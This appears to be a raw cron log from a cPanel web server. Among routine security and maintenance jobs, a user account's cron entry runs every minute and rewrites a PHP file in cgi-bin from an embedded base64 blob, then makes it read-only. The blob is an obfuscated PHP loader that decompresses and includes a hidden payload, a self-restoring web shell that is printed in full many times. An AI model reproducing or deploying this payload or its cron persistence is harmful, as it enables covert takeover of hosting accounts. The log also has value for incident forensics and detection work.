cC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:43:01 server CROND[11347]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:43:01 server CROND[11349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:43:01 server CROND[11348]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:44:01 server CROND[11812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:44:01 server CROND[11811]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:44:01 server CROND[11813]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:45:01 server CROND[12191]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 22:45:01 server CROND[12199]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 22:45:01 server CROND[12203]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 22:45:01 server CROND[12204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:45:01 server CROND[12206]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 22:45:01 server CROND[12201]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:45:01 server CROND[12205]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:46:01 server CROND[13059]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:46:01 server CROND[13058]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:46:01 server CROND[13060]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:47:01 server CROND[13445]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:47:01 server CROND[13446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:47:01 server CROND[13447]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:48:01 server CROND[13886]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:48:01 server CROND[13887]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:48:01 server CROND[13888]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:49:01 server CROND[14372]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:49:01 server CROND[14373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:49:01 server CROND[14374]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:50:01 server CROND[14836]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 22:50:01 server CROND[14839]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 22:50:01 server CROND[14841]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:50:01 server CROND[14840]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 22:50:01 server CROND[14842]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 22:50:01 server CROND[14844]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:50:01 server CROND[14846]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 22:50:01 server CROND[14847]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:50:01 server CROND[14849]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 22:51:01 server CROND[15746]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:51:01 server CROND[15747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:51:01 server CROND[15748]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:52:01 server CROND[16114]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:52:01 server CROND[16115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:52:01 server CROND[16116]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:53:02 server CROND[16483]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:53:02 server CROND[16484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:53:02 server CROND[16485]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:54:01 server CROND[16935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:54:01 server CROND[16936]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:54:01 server CROND[16937]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:55:01 server CROND[17336]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 22:55:01 server CROND[17338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:55:01 server CROND[17339]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
